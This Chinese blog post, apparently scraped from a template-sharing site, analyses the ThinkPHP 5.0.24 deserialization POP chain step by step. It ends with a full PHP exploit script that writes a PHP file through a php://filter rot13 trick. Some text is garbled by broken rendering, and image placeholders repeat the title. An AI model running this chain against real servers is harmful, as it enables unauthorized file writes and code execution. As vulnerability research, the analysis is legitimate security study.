thinkphp5.0.24反序列化漏洞分析

这篇具有很好参考价值的文章主要介绍了thinkphp5.0.24反序列化漏洞分析。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

thinkphp5.0.24反序列化漏洞分析

thinkphp5框架:

thinkphp5.0.24反序列化漏洞分析

thinkphp5的入口文件在public\index.php,访问

http://192.168.64.105/thinkphp_5.0.24/public/index.php

thinkphp5.0.24反序列化漏洞分析

具体分析

反序列化起点

写一个反序列化入口点

thinkphp5.0.24反序列化漏洞分析

全局搜索__destruct()函数

thinkphp5.0.24反序列化漏洞分析

\thinkphp_5.0.24\thinkphp\library\think\process\pipes\Windows.php中的__destruct()函数,调用了removeFiles()

thinkphp5.0.24反序列化漏洞分析

跟进removeFiles(),第163行的file_exists可以触发__toString方法

thinkphp5.0.24反序列化漏洞分析

全局搜索__toString方法

thinkphp\library\think\Model.php的第2265行,发现其调用了toJson方法

thinkphp5.0.24反序列化漏洞分析

跟进toJson,发现其调用了toArray()方法(在Model.php中)

thinkphp5.0.24反序列化漏洞分析

toArray

跟进toArray,发现其有三处可以调用__call方法(就是整一个可以控制的类对象,然后让其调用该类不存在的方法,然后触发__call魔术方法)

__call(),在对象中调用一个不可访问方法时调用。

thinkphp5.0.24反序列化漏洞分析

着重看第三处,也就是第912行,这个需要我们控制$value变量

这个$value变量是根据 $value = $this->getRelationData($modelRelation);而来的

getRelationData分析

跟进getRelationData方法,注意参数$modelRelation需要是Relation类型的,该方法也是thinkphp\library\think\Model.php中定义的

thinkphp5.0.24反序列化漏洞分析

如果我们让if满足,那么$value=$this->parent,看三个条件

  1. $this->parent存在且可控
  2. 第二个条件!$modelRelation->isSelfRelation(),跟进isSelfRelation()方法,该方法在thinkphp\library\think\model\Relation.php中定义,返回$this->selfRelation,可控

thinkphp5.0.24反序列化漏洞分析

  1. 第三个条件get_class($modelRelation->getModel()) == get_class($this->parent),也就是

跟进getModel()函数,该函数在thinkphp\library\think\model\Relation.php,返回$this->query->getModel(),其中$query可控

thinkphp5.0.24反序列化漏洞分析

所以我们要查哪个类的getModel()可控,最后找到了thinkphp\library\think\db\Query.php的getModel方法,该方法返回$this->model,并且$this->parent可控

thinkphp5.0.24反序列化漏洞分析

三个条件都满足,执行$value = $this->parent; return $value;,也就是\think\console\Output

该函数分析到这里

$modelRelation生成

上面分析了函数的执行过程,接下来分析我们怎么能传入一个Relation类的$modelRelation参数

发现$relation()函数是根据$relation的值进行调用的,需要满足if条件method_exists

thinkphp5.0.24反序列化漏洞分析

跟进Loader::parseName瞅一瞅,这个函数也只是对传入的$name进行了一些大小写的替换,没有一些很严格的过滤操作,因为$name可控,所以$relation可控

thinkphp5.0.24反序列化漏洞分析

在$relation可控的前提下,要满足这个method_exists,则需要将$relation设定为$this(也就是thinkphp\library\think\Model.php)中存在的方法

if (method_exists($this, $relation))

这里选择getError,因为其不仅在Model类中定义,且error可控

thinkphp5.0.24反序列化漏洞分析

所以我们只要设置了$error,那么其值就会通过 $modelRelation = $this->$relation();传给$modelRelation ,因为relation()也就是 Error(),所以就是$modelRelation = $this->Error(),即$modelRelation = $error

modelRelation分析到这里,而我们传的$error是什么,接下来会分析,其实就是HasOne

进入__call前的两个if

接下来要分析两个if条件

thinkphp5.0.24反序列化漏洞分析

我们看第一个if,要满足 m o d e l R e l a t i o n 这 个 类 中 存 在 g e t B i n d A t t r ( ) 函 数 , 而 且 下 一 个 ‘ modelRelation这个类中存在getBindAttr()函数,而且下一个` modelRelationgetBindAttr()bindAttr`是该函数的返回值

全局搜索getBindAttr

thinkphp5.0.24反序列化漏洞分析

thinkphp5.0.24反序列化漏洞分析

其在OneToOne.php中定义,该类是个抽象类,且OneToOne类是Relation类的派生类,其$this->bindAttr可控

我们搜索继承OneToOne的类,发现HasOne类,所以可以让$modelRelation的值为HasOne,这个也满足getRelationData()传入的是Relation类对象的要求,并且bindAttr可控,满足第二个if条件,简直完美!!!

thinkphp5.0.24反序列化漏洞分析

其实下面还有一个if,但是我们简单看下,将$bindAttr的键值对中的键给$key,然后进行isset判断,当已经定义才满足if,我们要进入的是不满足if条件的时候

thinkphp5.0.24反序列化漏洞分析

__call

然后进入__call,要选择一个能写webshell的类的__call方法,选择了thinkphp\library\think\console\Output.php

所以上面的$value应该是一个thinkphp\library\think\console\Output.php类对象

thinkphp5.0.24反序列化漏洞分析

在这里 m e t h o d 和 method和 methodthis->styles是可控的,array_unshift()对调用block()方法没有影响,可以执行block方法,跟进Output的block方法

thinkphp5.0.24反序列化漏洞分析

跟进writeln方法

thinkphp5.0.24反序列化漏洞分析

跟进write方法

thinkphp5.0.24反序列化漏洞分析

handle属性可控,所以全局搜索write方法

thinkphp\library\think\session\driver\Memcached.php的write方法

thinkphp5.0.24反序列化漏洞分析

而$this->handler可控,所以全局搜索可用的set方法

虚假的写文件

thinkphp\library\think\cache\driver\File.php中,set方法可以使用file_put_contents写文件,第158行的exit可以使用伪协议进行绕过

thinkphp5.0.24反序列化漏洞分析

初步来看可以利用file_put_contents来写文件,我们跟入 d a t a 和 data和 datafilename,看 d a t a 与 data与 datafilename是否可控

  1. $filename的值是由getCacheKey()方法决定的,跟进getCacheKey,可以知道filename的后缀名是php,是写死的,文件名部分可控

thinkphp5.0.24反序列化漏洞分析

  1. 跟进$data,发现$data是已经被写死了,$value的值只能为true

thinkphp5.0.24反序列化漏洞分析

所以就是file_put_contents可以写文件,但是内容不可控

setTagItem

所以继续看set接下来的代码,调用了setTagItem()

thinkphp5.0.24反序列化漏洞分析

进入thinkphp\library\think\cache\Driver.phpsetTagItem方法,(注意File类继承了Driver类,但是Driver是一个抽象类)并且会再执行一次set方法,这一次$key是由$this->tage而来,可控;$value由$name而来,也是可控的

thinkphp5.0.24反序列化漏洞分析

但是windows对文件名有相应的要求,所以复现不容易

绕过exit

上面已经分析得很详细了,这里简单调试分析一下

到$value

thinkphp5.0.24反序列化漏洞分析

到set方法这里,着重看一下,第一次整的时候,直接报错了,转到异常处理了,

thinkphp5.0.24反序列化漏洞分析

这里是因为我的文件名不符合要求,所以先随便写一个,看接下来怎么走

随便写一个之后,走到setTagItem()这里,这里$tag是可控的,所以$key是可控的

thinkphp5.0.24反序列化漏洞分析

这个第二次调用set函数,$key可知,$value可控

thinkphp5.0.24反序列化漏洞分析

放在linux运行,生成了对应的文件

thinkphp5.0.24反序列化漏洞分析

查看

thinkphp5.0.24反序列化漏洞分析

这里虽然看着是加了',但是其实并没有,注意访问的时候,将?进行url编码一下

注意需要将php的short_open_tag设为Off,不然会将<??>之间的内容识别为php代码,但是<? 之后是cuc,不符合语法,所以报错

thinkphp5.0.24反序列化漏洞分析

exp

<?php

namespace think\process\pipes;
use think\model\Pivot;
abstract class Pipes
{}
//Windows类中有$files数组 通过file_exists触发__toString方法
class Windows extends Pipes{
        private $files = [];    //$files是个数组
        public function __construct()
        {
            $this->files = [new Pivot()];   //触发Model类的toString()方法,因为Model是一个抽象类,所以选择其派生类Pivot
        }
}
namespace think\model;
use think\Model;
class Pivot extends Model{
}
# Model抽象类
namespace think;
use think\model\relation\HasOne;
use think\console\Output;
use think\db\Query;
abstract class Model{
    protected $append = [];
    protected $error;
    public $parent;#修改处
    protected $selfRelation;
    protected $query;
    protected $aaaaa;

    function __construct(){
        $this->parent = new Output();       //调用__call()
        $this->append = ['getError'];       //会用foreach将append中的值传给$name,传给$relation,调用getError(),将下面的error传给$modelRelation
        $this->error = new HasOne();       //最后传给$modelRelation
        $this->selfRelation = false;    //isSelfRelation()
        $this->query = new Query();     //用于判断getRelationData()中if条件的第三个

    }
}
#Relation抽象类 之后的Output是Relation的派生类
namespace think\model;  
use think\db\Query;
abstract class Relation{
    protected $selfRelation;
    protected $query;
    function __construct(){
        $this->selfRelation = false;  # 这个用于判断getRelationData()中if条件的第二个
        $this->query = new Query();#class Query
    }
}
#OneToOne HasOne  用于传给$modelRelation,主要是用于满足if条件,进入value->getAttr()
namespace think\model\relation;
use think\model\Relation;   
abstract class OneToOne extends Relation{ # OneToOne抽象类
    function __construct(){
        parent::__construct();
    }
}
// HasOne
class HasOne extends OneToOne{
    protected $bindAttr = [];
    function __construct(){
        parent::__construct();
        $this->bindAttr = ["no","123"]; # 这个需要动调,才能之后为什么这么写,待会说    
    }
}



#Output  进入Output->__call()
namespace think\console;
use think\session\driver\Memcached;
class Output{
    private $handle = null;
    protected $styles = [];
    function __construct(){
        $this->handle = new Memcached();   //目的调用Memcached类的write()函数
        $this->styles = ['getAttr'];   # 这是因为是通过Output->getAttr进入__call函数,而__call的参数中$method是getAttr
    }
}

#Query
namespace think\db;
use think\console\Output;
class Query{
    protected $model;
    function __construct(){
        $this->model = new Output();  //判断getRelationData()中if条件的第三个
    }
}
#Memcached
namespace think\session\driver;
use think\cache\driver\File;
class Memcached{
    protected $handler = null;
    function __construct(){
        $this->handler = new File();    //目的是调用File->set()
    }
}
#File
namespace think\cache\driver;
class File{
    protected $options = [];
    protected $tag;
    function __construct(){
        $this->options = [
        'expire'        => 0,
        'cache_subdir'  => false,
        'prefix'        => '',
        'path'          => 'php://filter/write=string.rot13/resource=./<?cuc cucvasb();?>',    //
        'data_compress' => false,
        ];
        $this->tag = true;
    }
}


use think\process\pipes\Windows;
echo urlencode(serialize(new Windows()));

pop链图

这里借用一下osword师傅的图

thinkphp5.0.24反序列化漏洞分析

解决windows下的文件名问题

我们注意到,在原有的链子中,我们在thinkphp\library\think\session\driver\Memcached.php中将$this->handler设置为File类对象,目的是调用File.php的set()方法

但是也可以将$this->handler设置为thinkphp\library\think\cache\driver\Memcached.php中的Memcached类对象,注意这两个php文件是不一样的,其也有一个set方法

第114行也有一个set方法,且handler可控

thinkphp5.0.24反序列化漏洞分析

看这个getCacheKey()函数,这个options可控,所以返回值可控

thinkphp5.0.24反序列化漏洞分析

所以$key可控,但是我们前面分析过了,这个$value不可控,所以还是要进115行的setTagItem()函数,跟进,它还是在Driver.php中定义的,这里根据前面的分析,$key和$value都是可控的,且没有那个<>?这样的特殊符号的影响

thinkphp5.0.24反序列化漏洞分析

详细参考:Thinkphp5.0.24反序列化漏洞分析与利用 - Yhck - 博客园 (cnblogs.com)文章来源地址https://www.toymoban.com/news/detail-403138.html

参考链接

  1. ThinkPHP5.0.x 反序列化_H3rmesk1t的博客-CSDN博客_thinkphp反序列化
  2. Thinkphp5.0.24反序列化漏洞分析与利用 - Yhck - 博客园 (cnblogs.com)
  3. thinkphp v5.0.24 反序列化利用链分析_kee_ke的博客-CSDN博客_thinkphp v5.0.24
  4. [(1条消息) 省信息安全技术大赛]Web4_沫忆末忆的博客-CSDN博客

到了这里,关于thinkphp5.0.24反序列化漏洞分析的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • 网络安全之反序列化漏洞分析

    FastJson 是 alibaba 的一款开源 JSON 解析库,可用于将 Java 对象转换为其 JSON 表示形式,也可以用于将 JSON 字符串转换为等效的 Java 对象分别通过 toJSONString 和 parseObject/parse 来实现序列化和反序列化。 使用 对于序列化的方法 toJSONString() 有多个重载形式。 SerializeFeature : 通过设置

    2024年02月08日
    浏览(40)
  • 【新】通达OA前台反序列化漏洞分析

    0x01 前言 注:本文仅以安全研究为目的,分享对该漏洞的挖掘过程,文中涉及的所有漏洞均已报送给国家单位,请勿用做非法用途。 通达OA作为历史上出现漏洞较多的OA,在经过多轮的迭代之后已经很少前台的RCE漏洞了。一般来说通达OA是通过auth.inc.php文件来进行鉴权,如图

    2024年02月14日
    浏览(45)
  • Java反序列化漏洞-URLDNS链分析

    目录 一、前置知识 反射 二、分析 1. URL 2. HashMap 3. 解决一些问题 反射修改字段值 三、POC 四、利用链 菜鸟教程 Java 序列化 Java安全-反射 URLDNS链的作用就是在目标主机中可能存在反序列化输入的数据的地方,传入序列化后的URLDNS利用链,如果目标主机解析了这个URL地址,那么

    2024年02月04日
    浏览(50)
  • Laravel 9.1.8 反序列化漏洞分析及复现

    反序列化漏洞是如今很常见的漏洞类型,有很多分类,也有很多绕过方式。本文选取了一个今年比较典型的反序列化漏洞,进行了一个分析并复现。 Laravel是一套简洁、优雅的PHP Web开发框架。 近日,Laravel 被披露存在多个安全漏洞,可允许通过反序列化POP链实现远程代码执行

    2024年02月06日
    浏览(55)
  • Java反序列化漏洞-CC1利用链分析

    目录 一、前置知识 1. 反射 2. Commons Collections是什么 3. 环境准备 二、分析利用链 1. Transformer 2. InvokeTransformer 执行命令 3. ConstantTransformer 4. ChainedTransformer 执行命令 5. TransformedMap 6. AbstractInputCheckedMapDecorator 7. AnnotationInvocationHandler 三、编写POC 1. ChainedTransformer 2. decorate 3. Annotatio

    2024年02月04日
    浏览(45)
  • thinkphp 反序列化漏洞

    php.ini 配置phpstorm中的CLI解释器、本地服务器、调试的端口、DBGp代理以及phpstudy中的版本、扩展 配置防调试超时 测试版本5.1.37 适用版本5.1.16-5.1.40 修改控制器 查找入口__destruct,进入windows类 查看removeFiles方法 poc1(任意文件删除) TzoyNzoidGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzIjoxOntzOjM0O

    2024年02月11日
    浏览(37)
  • ThinkPHP v6.0.8 CacheStore 反序列化漏洞

    1. 漏洞原理:ThinkPHP 6.0.8 CacheStore 会触发POP利用链子,造成任意命令执行 2. 组件描述: ThinkPHP是一个免费开源的,快速、简单的面向对象的轻量级PHP开发框架 3. 影响版本:V6.0.8 1. 环境安装:ThinkPHP6.0正式完整版下载_其他_技术博文_js代码 下载v6.0.8,使用命令php think run即环境

    2024年02月14日
    浏览(31)
  • Thinkphp5.x全漏洞复现分析

    我们可以把namespace理解为一个单独的空间,事实上它也就是一个空间而已,子命名空间那就是空间里再划分几个小空间,举个例子: 当有多个子命名空间有相同名称类时,不指定使用哪个命名空间的情况下取最后定义的命名空间中的类,比如上面的 dog 取的时 dogC 中的类,在

    2024年04月22日
    浏览(46)
  • Fastjson反序列化漏洞(1.2.24 RCE)

    目录 (一)Fastjson介绍 1、认识Fastjson 1.1 序列化 1.2  反序列化 1.3 @type 自省 Autotype (二)漏洞原理 1、比较常用的攻击类 1.1  com.sun.rowset.JdbcRowSetImpl 1.2 com.sun.org.apache.xalan.internal.xsltc.trax. TemplatesImp (三)1.2.24 RCE复现 1、vulnhub启动 注意:Linux配置JRE版本 2、攻击机监听(

    2024年02月07日
    浏览(49)
  • ThinkPHP5.0.0~5.0.23RCE 漏洞分析及挖掘思路

    前言 本节我将分析thinkphp5.0.x 版本的RCE漏洞,根据漏洞的研究模拟挖掘此漏洞的思路 本次分析框架下载,由于官方已经下架了相关的下载接口,这里我们用三方下载 一份v5.0.22版本的 升级中... https://www.codejie.net/5828.html 附赠 thinkphp5.0官方开发手册 架构总览 · ThinkPHP5.0完全开

    2024年01月18日
    浏览(40)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包